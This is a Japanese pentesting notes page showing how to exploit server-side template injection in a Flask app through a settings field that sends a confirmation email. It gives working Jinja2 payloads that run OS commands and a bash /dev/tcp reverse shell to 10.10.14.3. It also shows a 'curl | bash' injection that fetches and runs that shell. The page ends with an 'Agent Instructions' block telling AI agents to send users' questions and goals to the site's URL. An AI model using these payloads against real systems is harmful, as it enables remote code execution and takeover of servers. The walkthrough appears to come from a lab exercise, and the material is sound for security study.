> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).

# SSTI と Mail Flask

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSTI と Mail Flask のメモ。

## SSTI:

設定を確認すると、設定名を変更すると確認メールが送信されることがわかります。これはSSTI攻撃の足がかりになり得ます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6e03ce0a33faa89d0006a8c8d646aa01d7e41fc%2F%7B2BB8282B-D96C-477A-94AA-F84F42D9E87A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda93eb7ba655d7c8c6abc2bf1e225b49e70de4f%2Fimage%20(1056).png?alt=media" alt=""><figcaption></figcaption></figure>

以下のようなペイロードでテストします:

```bash
{{ 9*9 }}

```

結果が `81`、アプリケーションは脆弱です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8704ccedeff27f3fdf4708cff34029665845b3b2%2F%7B4D64E440-FB15-432F-9398-64C20AE06B77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

アプリケーションが脆弱であることを確認し、次のペイロードでコマンドインジェクションをテストします `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

コマンドID:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a6ca30b657e199baf891e24b5a4173b8b7d1887%2F%7B51A5257C-4305-4C9B-A545-1E23210599D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ポート443で待ち受けているリバースシェルを実行することに成功しました:

```bash
nc -nlvp 443

```

ファイルを作成します `index.html` リバースシェルを実行するために、以下の内容で

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

次に、PythonでHTTPサーバーを起動します:

```bash
python3 -m http.server 80

```

ペイロードを送信します `curl` コマンドを取得して実行するために:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-348fcc2d92e9dc0fe73d1e954a5d357577c441a0%2F%7BF035C0DC-C166-405E-852C-744974C4FCE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
